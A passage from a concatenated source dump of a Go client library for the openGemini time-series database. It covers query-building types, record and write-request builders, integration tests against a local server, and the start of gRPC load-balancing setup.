113 | for i, expr := range q.groupBy {
114 | if i > 0 {
115 | commandBuilder.WriteString(", ")
116 | }
117 | commandBuilder.WriteString(expr.build())
118 | }
119 | }
120 |
121 | // Build the ORDER BY part
122 | if q.order != "" {
123 | commandBuilder.WriteString(" ORDER BY time ")
124 | commandBuilder.WriteString(string(q.order))
125 | }
126 |
127 | // Build the LIMIT part
128 | if q.limit > 0 {
129 | commandBuilder.WriteString(fmt.Sprintf(" LIMIT %d", q.limit))
130 | }
131 |
132 | // Build the OFFSET part
133 | if q.offset > 0 {
134 | commandBuilder.WriteString(fmt.Sprintf(" OFFSET %d", q.offset))
135 | }
136 |
137 | // Build the TIMEZONE part
138 | if q.timezone != nil {
139 | commandBuilder.WriteString(fmt.Sprintf(" TZ('%s')", q.timezone.String()))
140 | }
141 |
142 | // Return the final query
143 | return &Query{
144 | Command: commandBuilder.String(),
145 | }
146 | }
147 |
--------------------------------------------------------------------------------
/opengemini/query_condition.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "fmt"
19 | "strings"
20 | )
21 |
22 | type Condition interface {
23 | build() string
24 | }
25 |
26 | type ComparisonCondition struct {
27 | Column string
28 | Operator ComparisonOperator
29 | Value interface{}
30 | }
31 |
32 | func (c *ComparisonCondition) build() string {
33 | switch c.Value.(type) {
34 | case string:
35 | return fmt.Sprintf(`"%s" %s '%v'`, c.Column, c.Operator, c.Value)
36 | default:
37 | return fmt.Sprintf(`"%s" %s %v`, c.Column, c.Operator, c.Value)
38 | }
39 | }
40 |
41 | func NewComparisonCondition(column string, operator ComparisonOperator, value interface{}) *ComparisonCondition {
42 | return &ComparisonCondition{
43 | Column: column,
44 | Operator: operator,
45 | Value: value,
46 | }
47 | }
48 |
49 | type CompositeCondition struct {
50 | LogicalOperator LogicalOperator
51 | Conditions []Condition
52 | }
53 |
54 | func (c *CompositeCondition) build() string {
55 | var parts []string
56 | for _, condition := range c.Conditions {
57 | parts = append(parts, condition.build())
58 | }
59 | return fmt.Sprintf("(%s)", strings.Join(parts, fmt.Sprintf(" %s ", c.LogicalOperator)))
60 | }
61 |
62 | func NewCompositeCondition(logicalOperator LogicalOperator, conditions ...Condition) *CompositeCondition {
63 | return &CompositeCondition{
64 | LogicalOperator: logicalOperator,
65 | Conditions: conditions,
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/opengemini/query_expression.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "fmt"
19 | "strings"
20 | )
21 |
22 | type Expression interface {
23 | build() string
24 | }
25 |
26 | type AllowedConstantTypes interface {
27 | bool | int | int64 | float64 | string
28 | }
29 |
30 | type ConstantExpression[T AllowedConstantTypes] struct {
31 | Value T
32 | }
33 |
34 | func (c *ConstantExpression[T]) build() string {
35 | return fmt.Sprintf("%v", c.Value)
36 | }
37 |
38 | func NewConstantExpression[T AllowedConstantTypes](value T) *ConstantExpression[T] {
39 | return &ConstantExpression[T]{Value: value}
40 | }
41 |
42 | type StarExpression struct{}
43 |
44 | type FieldExpression struct {
45 | Field string
46 | }
47 |
48 | func (f *FieldExpression) build() string {
49 | return `"` + f.Field + `"`
50 | }
51 |
52 | func NewFieldExpression(field string) *FieldExpression {
53 | return &FieldExpression{
54 | Field: field,
55 | }
56 | }
57 |
58 | type FunctionExpression struct {
59 | Function FunctionEnum
60 | Arguments []Expression
61 | }
62 |
63 | func (f *FunctionExpression) build() string {
64 | var args []string
65 | for _, arg := range f.Arguments {
66 | args = append(args, arg.build())
67 | }
68 | return fmt.Sprintf("%s(%s)", f.Function, strings.Join(args, ", "))
69 | }
70 |
71 | func NewFunctionExpression(function FunctionEnum, arguments ...Expression) *FunctionExpression {
72 | return &FunctionExpression{
73 | Function: function,
74 | Arguments: arguments,
75 | }
76 | }
77 |
78 | type AsExpression struct {
79 | Alias string
80 | OriginExpr Expression
81 | }
82 |
83 | func (a *AsExpression) build() string {
84 | return fmt.Sprintf("%s AS \"%s\"", a.OriginExpr.build(), a.Alias)
85 | }
86 |
87 | func NewAsExpression(alias string, expr Expression) *AsExpression {
88 | return &AsExpression{
89 | Alias: alias,
90 | OriginExpr: expr,
91 | }
92 | }
93 |
94 | type ArithmeticExpression struct {
95 | Operator ArithmeticOperator
96 | Operands []Expression
97 | }
98 |
99 | func (a *ArithmeticExpression) build() string {
100 | var operandStrings []string
101 | for _, operand := range a.Operands {
102 | operandStrings = append(operandStrings, operand.build())
103 | }
104 | return fmt.Sprintf("(%s)", strings.Join(operandStrings, fmt.Sprintf(" %s ", a.Operator)))
105 | }
106 |
107 | func NewArithmeticExpression(operator ArithmeticOperator, operands ...Expression) *ArithmeticExpression {
108 | return &ArithmeticExpression{
109 | Operator: operator,
110 | Operands: operands,
111 | }
112 | }
113 |
--------------------------------------------------------------------------------
/opengemini/query_function.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | type FunctionEnum string
18 |
19 | const (
20 | FunctionMean FunctionEnum = "MEAN"
21 | FunctionCount FunctionEnum = "COUNT"
22 | FunctionSum FunctionEnum = "SUM"
23 | FunctionMin FunctionEnum = "MIN"
24 | FunctionMax FunctionEnum = "MAX"
25 | FunctionTime FunctionEnum = "TIME"
26 | FunctionTop FunctionEnum = "TOP"
27 | FunctionLast FunctionEnum = "LAST"
28 | )
29 |
--------------------------------------------------------------------------------
/opengemini/query_operator.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | type ComparisonOperator string
18 |
19 | const (
20 | Equals ComparisonOperator = "="
21 | NotEquals ComparisonOperator = "<>"
22 | GreaterThan ComparisonOperator = ">"
23 | LessThan ComparisonOperator = "<"
24 | GreaterThanOrEquals ComparisonOperator = ">="
25 | LessThanOrEquals ComparisonOperator = "<="
26 | Match ComparisonOperator = "=~"
27 | NotMatch ComparisonOperator = "!~"
28 | )
29 |
30 | type LogicalOperator string
31 |
32 | const (
33 | And LogicalOperator = "AND"
34 | Or LogicalOperator = "OR"
35 | )
36 |
37 | type ArithmeticOperator string
38 |
39 | const (
40 | Add ArithmeticOperator = "+"
41 | Subtract ArithmeticOperator = "-"
42 | Multiply ArithmeticOperator = "*"
43 | Divide ArithmeticOperator = "/"
44 | )
45 |
--------------------------------------------------------------------------------
/opengemini/query_result.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import "errors"
18 |
19 | const RpColumnLen = 8
20 |
21 | // SeriesResult contains the results of a series query
22 | type SeriesResult struct {
23 | Series []*Series `json:"series,omitempty" msgpack:"series,omitempty"`
24 | Error string `json:"error,omitempty" msgpack:"error,omitempty"`
25 | }
26 |
27 | // QueryResult is the top-level struct
28 | type QueryResult struct {
29 | Results []*SeriesResult `json:"results,omitempty" msgpack:"results,omitempty"`
30 | Error string `json:"error,omitempty" msgpack:"error,omitempty"`
31 | }
32 |
33 | func (result *QueryResult) hasError() error {
34 | if len(result.Error) > 0 {
35 | return errors.New(result.Error)
36 | }
37 | for _, res := range result.Results {
38 | if len(res.Error) > 0 {
39 | return errors.New(res.Error)
40 | }
41 | }
42 | return nil
43 | }
44 |
45 | func (result *QueryResult) convertRetentionPolicyList() []RetentionPolicy {
46 | if len(result.Results) == 0 || len(result.Results[0].Series) == 0 {
47 | return []RetentionPolicy{}
48 | }
49 | var (
50 | seriesValues = result.Results[0].Series[0].Values
51 | retentionPolicy = make([]RetentionPolicy, 0, len(seriesValues))
52 | )
53 |
54 | for _, v := range seriesValues {
55 | if len(v) < RpColumnLen {
56 | break
57 | }
58 | if rp := NewRetentionPolicy(v); rp != nil {
59 | retentionPolicy = append(retentionPolicy, *rp)
60 | }
61 | }
62 | return retentionPolicy
63 | }
64 |
65 | func (result *QueryResult) convertMeasurements() []string {
66 | if len(result.Results) == 0 || len(result.Results[0].Series) == 0 {
67 | return []string{}
68 | }
69 | var (
70 | seriesValues = result.Results[0].Series[0].Values
71 | measurements = make([]string, 0, len(seriesValues))
72 | )
73 |
74 | for _, v := range seriesValues {
75 | if measurementName, ok := v[0].(string); ok {
76 | measurements = append(measurements, measurementName)
77 | }
78 | }
79 | return measurements
80 | }
81 |
--------------------------------------------------------------------------------
/opengemini/query_sort_order.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | type SortOrder string
18 |
19 | const (
20 | Asc SortOrder = "ASC"
21 | Desc SortOrder = "DESC"
22 | )
23 |
--------------------------------------------------------------------------------
/opengemini/random_util.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
--------------------------------------------------------------------------------
/opengemini/record_builder.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "errors"
19 | "fmt"
20 | "math/rand"
21 | "time"
22 |
23 | "github.com/sourgoodie/opengemini-client-go/lib/record"
24 | "github.com/sourgoodie/opengemini-client-go/proto"
25 | )
26 |
27 | var (
28 | _ WriteRequestBuilder = (*writeRequestBuilderImpl)(nil)
29 | random = rand.New(rand.NewSource(time.Now().UnixNano()))
30 | )
31 |
32 | // RecordLine define an abstract record line structure.
33 | type RecordLine any
34 |
35 | // RecordBuilder build record line, it is not thread safe
36 | type RecordBuilder interface {
37 | // NewLine start a new line, otherwise the added attributes will be in the default row
38 | NewLine() RecordBuilder
39 | // AddTag add a tag to the record.
40 | // If the key exists, it will be overwritten.
41 | // If the key is `time`, it will cause an error.
42 | // If the key is empty or the value is empty, it will be ignored.
43 | AddTag(key string, value string) RecordBuilder
44 | // AddTags add multiple tags to the record.
45 | // Each entry in the map represents a tag where the key is the tag name and the value is the tag value.
46 | AddTags(tags map[string]string) RecordBuilder
47 | // AddField add a field to the record.
48 | // If the key is empty, it will be ignored.
49 | // If the key is `time`, it will cause an error.
50 | // If the key already exists, its value will be overwritten.
51 | AddField(key string, value interface{}) RecordBuilder
52 | // AddFields add multiple fields to the record.
53 | // Each entry in the map represents a field where the key is the field name and the value is the field value.
54 | AddFields(fields map[string]interface{}) RecordBuilder
55 | // CompressMethod set compress method for request data.
56 | CompressMethod(method CompressMethod) RecordBuilder
57 | // Build specifies the time of the record.
58 | // If the time is not specified or zero value, the current time will be used.
59 | Build(timestamp int64) RecordLine
60 | }
61 |
62 | type WriteRequestBuilder interface {
63 | // Authenticate configuration write request information for authentication.
64 | Authenticate(username, password string) WriteRequestBuilder
65 | // AddRecord append Record for WriteRequest, you'd better use NewRecordBuilder to build RecordLine.
66 | AddRecord(rlb ...RecordLine) WriteRequestBuilder
67 | // Build generate WriteRequest.
68 | Build() (*proto.WriteRequest, error)
69 | }
70 |
71 | type fieldTuple struct {
72 | record.Field
73 | value interface{}
74 | }
75 |
76 | type writeRequestBuilderImpl struct {
77 | database string
78 | retentionPolicy string
79 | username string
80 | password string
81 | transform transform
82 | err error
83 | }
84 |
85 | func (r *writeRequestBuilderImpl) reset() {
86 | r.transform.reset()
87 | }
88 |
89 | func (r *writeRequestBuilderImpl) Authenticate(username, password string) WriteRequestBuilder {
90 | r.username = username
91 | r.password = password
92 | return r
93 | }
94 |
95 | func NewWriteRequestBuilder(database, retentionPolicy string) (WriteRequestBuilder, error) {
96 | if err := checkDatabaseName(database); err != nil {
97 | return nil, err
98 | }
99 | return &writeRequestBuilderImpl{database: database, retentionPolicy: retentionPolicy, transform: make(transform)}, nil
100 | }
101 |
102 | func (r *writeRequestBuilderImpl) AddRecord(rlb ...RecordLine) WriteRequestBuilder {
103 | for _, lineBuilder := range rlb {
104 | lb, ok := lineBuilder.(*recordLineBuilderImpl)
105 | if !ok {
106 | continue
107 | }
108 | if lb.err != nil {
109 | r.err = errors.Join(r.err, lb.err)
110 | continue
111 | }
112 | err := r.transform.AppendRecord(lb)
113 | if err != nil {
114 | r.err = errors.Join(r.err, err)
115 | continue
116 | }
117 | }
118 | return r
119 | }
120 |
121 | func (r *writeRequestBuilderImpl) Build() (*proto.WriteRequest, error) {
122 | defer r.reset()
123 |
124 | if r.err != nil {
125 | return nil, r.err
126 | }
127 |
128 | if r.database == "" {
129 | return nil, ErrEmptyDatabaseName
130 | }
131 |
132 | if r.retentionPolicy == "" {
133 | r.retentionPolicy = "autogen"
134 | }
135 |
136 | var req = &proto.WriteRequest{
137 | Database: r.database,
138 | RetentionPolicy: r.retentionPolicy,
139 | Username: r.username,
140 | Password: r.password,
141 | }
142 |
143 | for mst, rawRecord := range r.transform {
144 | rec, err := rawRecord.toSrvRecords()
145 | if err != nil {
146 | return nil, fmt.Errorf("failed to convert records: %v", err)
147 | }
148 | var buff []byte
149 | buff, err = rec.Marshal(buff)
150 | if err != nil {
151 | return nil, fmt.Errorf("failed to marshal record: %v", err)
152 | }
153 |
154 | req.Records = append(req.Records, &proto.Record{
155 | Measurement: mst,
156 | MinTime: rawRecord.MinTime,
157 | MaxTime: rawRecord.MaxTime,
158 | Block: buff,
159 | })
160 | }
161 |
162 | return req, nil
163 | }
164 |
165 | type recordLineBuilderImpl struct {
166 | measurement string
167 | tags []*fieldTuple
168 | fields []*fieldTuple
169 | timestamp int64
170 | compressMethod CompressMethod
171 | err error
172 | }
173 |
174 | func (r *recordLineBuilderImpl) NewLine() RecordBuilder {
175 | return &recordLineBuilderImpl{measurement: r.measurement}
176 | }
177 |
178 | func NewRecordBuilder(measurement string) (RecordBuilder, error) {
179 | if err := checkMeasurementName(measurement); err != nil {
180 | return nil, err
181 | }
182 | return &recordLineBuilderImpl{measurement: measurement}, nil
183 | }
184 |
185 | func (r *recordLineBuilderImpl) CompressMethod(method CompressMethod) RecordBuilder {
186 | r.compressMethod = method
187 | return r
188 | }
189 |
190 | func (r *recordLineBuilderImpl) AddTag(key string, value string) RecordBuilder {
191 | if key == "" {
192 | r.err = errors.Join(r.err, fmt.Errorf("miss tag name: %w", ErrEmptyName))
193 | return r
194 | }
195 | if key == record.TimeField {
196 | r.err = errors.Join(r.err, fmt.Errorf("tag name %s invalid: %w", key, ErrInvalidTimeColumn))
197 | return r
198 | }
199 | r.tags = append(r.tags, &fieldTuple{
200 | Field: record.Field{
201 | Name: key,
202 | Type: record.FieldTypeTag,
203 | },
204 | value: value,
205 | })
206 | return r
207 | }
208 |
209 | func (r *recordLineBuilderImpl) AddTags(tags map[string]string) RecordBuilder {
210 | for key, value := range tags {
211 | r.AddTag(key, value)
212 | }
213 | return r
214 | }
215 |
216 | func (r *recordLineBuilderImpl) AddField(key string, value interface{}) RecordBuilder {
217 | if key == "" {
218 | r.err = errors.Join(r.err, fmt.Errorf("miss field name: %w", ErrEmptyName))
219 | return r
220 | }
221 | if key == record.TimeField {
222 | r.err = errors.Join(r.err, fmt.Errorf("field name %s invalid: %w", key, ErrInvalidTimeColumn))
223 | return r
224 | }
225 | typ := record.FieldTypeUnknown
226 | switch value.(type) {
227 | case string:
228 | typ = record.FieldTypeString
229 | case float32, float64:
230 | typ = record.FieldTypeFloat
231 | case bool:
232 | typ = record.FieldTypeBoolean
233 | case int8, int16, int32, int64, uint8, uint16, uint32, uint64, int:
234 | typ = record.FieldTypeInt
235 | }
236 | r.fields = append(r.fields, &fieldTuple{
237 | Field: record.Field{
238 | Name: key,
239 | Type: typ,
240 | },
241 | value: value,
242 | })
243 | return r
244 | }
245 |
246 | func (r *recordLineBuilderImpl) AddFields(fields map[string]interface{}) RecordBuilder {
247 | for key, value := range fields {
248 | r.AddField(key, value)
249 | }
250 | return r
251 | }
252 |
253 | func (r *recordLineBuilderImpl) Build(t int64) RecordLine {
254 | r.timestamp = t
255 | return r
256 | }
257 |
--------------------------------------------------------------------------------
/opengemini/record_impl_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "context"
19 | "testing"
20 | "time"
21 |
22 | "github.com/stretchr/testify/assert"
23 | )
24 |
25 | func testDefaultRPCClient(t *testing.T) Client {
26 | return testNewClient(t, &Config{
27 | Addresses: []Address{{
28 | Host: "localhost",
29 | Port: 8086,
30 | }},
31 | GrpcConfig: &GrpcConfig{
32 | Addresses: []Address{{
33 | Host: "localhost",
34 | Port: 8305,
35 | }},
36 | },
37 | })
38 | }
39 |
40 | func TestNewRPCClient(t *testing.T) {
41 | c := testDefaultRPCClient(t)
42 | ctx := context.Background()
43 | testMeasurement := randomMeasurement()
44 | // create a test database with rand suffix
45 | database := randomDatabaseName()
46 | err := c.CreateDatabase(database)
47 | assert.Nil(t, err)
48 |
49 | // delete test database before exit test case
50 | defer func() {
51 | err := c.DropDatabase(database)
52 | assert.Nil(t, err)
53 | }()
54 |
55 | time.Sleep(time.Second)
56 |
57 | // 列builder
58 | builder, err := NewWriteRequestBuilder(database, "autogen")
59 | assert.Nil(t, err)
60 | // 行组装
61 | recordBuilder, err := NewRecordBuilder(testMeasurement)
62 | assert.Nil(t, err)
63 |
64 | writeRequest, err := builder.AddRecord(
65 | recordBuilder.NewLine().AddTag("t1", "t1").AddTag("t2", "t2").
66 | AddField("i", 100).AddField("b", true).AddField("f", 3.14).
67 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*10).UnixNano()),
68 | recordBuilder.NewLine().AddTag("a1", "a1").AddTag("a2", "a2").
69 | AddField("i", 100).AddField("b", true).AddField("f", 3.14).
70 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*5).UnixNano()),
71 | recordBuilder.NewLine().AddTag("b1", "b1").AddTag("b2", "b2").
72 | AddField("i", 100).AddField("b", true).AddField("f", 3.14).
73 | AddField("s1", "pi1").Build(time.Now().UnixNano()),
74 | ).Build()
75 |
76 | assert.Nil(t, err)
77 | err = c.WriteByGrpc(ctx, writeRequest)
78 | assert.Nil(t, err)
79 |
80 | // query
81 | time.Sleep(time.Second * 5)
82 | var cmd = "select * from " + testMeasurement
83 | queryResult, err := c.Query(Query{Command: cmd, Database: database})
84 | assert.NoError(t, err)
85 | assert.NotNil(t, queryResult.Results)
86 | assert.EqualValues(t, 1, len(queryResult.Results))
87 | assert.EqualValues(t, 1, len(queryResult.Results[0].Series))
88 | assert.NotNil(t, 1, queryResult.Results[0].Series[0])
89 | assert.EqualValues(t, 3, len(queryResult.Results[0].Series[0].Values))
90 | }
91 |
92 | func TestNewRPCClient_record_failed(t *testing.T) {
93 | testMeasurement := randomMeasurement()
94 | // create a test database with rand suffix
95 | database := randomDatabaseName()
96 |
97 | time.Sleep(time.Second)
98 |
99 | builder, err := NewWriteRequestBuilder(database, "autogen")
100 | assert.Nil(t, err)
101 |
102 | recordBuilder, err := NewRecordBuilder(testMeasurement)
103 | assert.Nil(t, err)
104 |
105 | _, err = builder.AddRecord(
106 | recordBuilder.NewLine().AddTag("time", "a1").AddTag("a2", "a2").
107 | AddField("i", 100).AddField("b", true).AddField("f", 3.14).
108 | AddField("s1", "pi1").Build(time.Now().UnixNano()),
109 | ).Build()
110 |
111 | assert.NotNil(t, err)
112 | assert.ErrorContains(t, err, "key can't be time")
113 | }
114 |
115 | func TestNewRPCClient_multi_measurements(t *testing.T) {
116 | c := testDefaultRPCClient(t)
117 | ctx := context.Background()
118 | // create a test database with rand suffix
119 | database := randomDatabaseName()
120 | err := c.CreateDatabase(database)
121 | assert.Nil(t, err)
122 |
123 | // delete test database before exit test case
124 | defer func() {
125 | err := c.DropDatabase(database)
126 | assert.Nil(t, err)
127 | }()
128 |
129 | time.Sleep(time.Second)
130 |
131 | mst1 := randomMeasurement()
132 | mst2 := randomMeasurement()
133 | mst3 := randomMeasurement()
134 |
135 | builder, err := NewWriteRequestBuilder(database, "autogen")
136 | assert.Nil(t, err)
137 | recordBuilder1, err := NewRecordBuilder(mst1)
138 | assert.Nil(t, err)
139 | recordBuilder2, err := NewRecordBuilder(mst2)
140 | assert.Nil(t, err)
141 | recordBuilder3, err := NewRecordBuilder(mst3)
142 | assert.Nil(t, err)
143 |
144 | writeRequest, err := builder.AddRecord(
145 | recordBuilder1.AddTag("t1", "t1").AddTag("t2", "t2").
146 | AddField("i", 100).AddField("b", true).AddField("f", 3.14).
147 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*10).UnixNano()),
148 | recordBuilder1.NewLine().AddTag("a1", "a1").AddTag("a2", "a2").
149 | AddField("i", 100).AddField("b", true).AddField("f", 3.14).
150 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*5).UnixNano()),
151 | recordBuilder2.AddTag("b1", "b1").AddTag("b2", "b2").
152 | AddField("i", 100).AddField("b", true).AddField("f", 3.14).
153 | AddField("s1", "pi1").Build(time.Now().UnixNano()),
154 | recordBuilder2.NewLine().AddTag("b1", "b1").AddTag("b2", "b2").
155 | AddField("i", 100).AddField("b", true).AddField("f", 3.14).
156 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*5).UnixNano()),
157 | recordBuilder3.AddTag("b1", "b1").AddTag("b2", "b2").
158 | AddField("i", 100).AddField("b", true).AddField("f", 3.14).
159 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*5).UnixNano()),
160 | recordBuilder3.NewLine().AddTag("b1", "b1").AddTag("b2", "b2").
161 | AddField("i", 100).AddField("b", true).AddField("f", 3.14).
162 | AddField("s1", "pi1").Build(time.Now().Add(-time.Second*3).UnixNano()),
163 | recordBuilder3.NewLine().AddTag("b1", "b1").AddTag("b2", "b2").
164 | AddField("i", 100).AddField("b", true).AddField("f", 3.14).
165 | AddField("s1", "pi1").Build(time.Now().UnixNano()),
166 | ).Build()
167 |
168 | assert.Nil(t, err)
169 | err = c.WriteByGrpc(ctx, writeRequest)
170 | assert.Nil(t, err)
171 |
172 | // query
173 | time.Sleep(time.Second * 5)
174 | var cmd = "select * from " + mst1
175 | queryResult, err := c.Query(Query{Command: cmd, Database: database})
176 | assert.NoError(t, err)
177 | assert.NotNil(t, queryResult.Results)
178 | assert.EqualValues(t, 1, len(queryResult.Results))
179 | assert.EqualValues(t, 1, len(queryResult.Results[0].Series))
180 | assert.NotNil(t, 1, queryResult.Results[0].Series[0])
181 | assert.EqualValues(t, 2, len(queryResult.Results[0].Series[0].Values))
182 |
183 | cmd = "select * from " + mst3
184 | queryResult, err = c.Query(Query{Command: cmd, Database: database})
185 | assert.NoError(t, err)
186 | assert.NotNil(t, queryResult.Results)
187 | assert.EqualValues(t, 1, len(queryResult.Results))
188 | assert.EqualValues(t, 1, len(queryResult.Results[0].Series))
189 | assert.NotNil(t, 1, queryResult.Results[0].Series[0])
190 | assert.EqualValues(t, 3, len(queryResult.Results[0].Series[0].Values))
191 | }
192 |
--------------------------------------------------------------------------------
/opengemini/record_loadbalance.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "fmt"
19 | "sync"
20 | "sync/atomic"
21 | "time"
22 |
23 | "google.golang.org/grpc"
24 | "google.golang.org/grpc/backoff"
25 | "google.golang.org/grpc/connectivity"
26 | "google.golang.org/grpc/credentials"
27 | "google.golang.org/grpc/credentials/insecure"
28 | "google.golang.org/grpc/keepalive"
29 |
30 | "github.com/sourgoodie/opengemini-client-go/proto"
31 | )
32 |
33 | type grpcEndpoint struct {
34 | address string
35 | conn *grpc.ClientConn
36 | client proto.WriteServiceClient
37 | mu sync.RWMutex
38 | }
39 |
40 | func (e *grpcEndpoint) isHealthy() bool {
41 | e.mu.RLock()
42 | defer e.mu.RUnlock()
43 | return e.conn.GetState() == connectivity.Ready
44 | }
45 |
46 | type grpcLoadBalance struct {
47 | endpoints []*grpcEndpoint
48 | current atomic.Int32
49 | stopChan chan struct{}
50 | }
51 |
52 | func newRPCLoadBalance(cfg *GrpcConfig) (*grpcLoadBalance, error) {
53 | var dialOptions = []grpc.DialOption{
54 | grpc.WithKeepaliveParams(keepalive.ClientParameters{
55 | Time: 10 * time.Second,
56 | Timeout: 3 * time.Second,
57 | PermitWithoutStream: true,
58 | }),
59 | // https://github.com/grpc/grpc/blob/master/doc/connection-backoff.md
60 | grpc.WithConnectParams(grpc.ConnectParams{
61 | Backoff: backoff.Config{
62 | BaseDelay: time.Second,
63 | Multiplier: 1.6,
64 | Jitter: 0.2,
65 | MaxDelay: time.Second * 30,
66 | },
67 | MinConnectTimeout: time.Second * 20,
68 | }),
69 | grpc.WithInitialWindowSize(1 << 24), // 16MB
70 | grpc.WithInitialConnWindowSize(1 << 24), // 16MB
71 | grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(64 * 1024 * 1024)), // 64MB
72 | grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(64 * 1024 * 1024)), // 64MB
73 | }
74 |
75 | if cfg.TlsConfig == nil {
76 | dialOptions = append(dialOptions, grpc.WithTransportCredentials(insecure.NewCredentials()))
77 | } else {
78 | cred := credentials.NewTLS(cfg.TlsConfig)
79 | dialOptions = append(dialOptions, grpc.WithTransportCredentials(cred))
80 | }
81 |
82 | lb := &grpcLoadBalance{
83 | stopChan: make(chan struct{}),
84 | }
85 |
86 | for _, address := range cfg.Addresses {
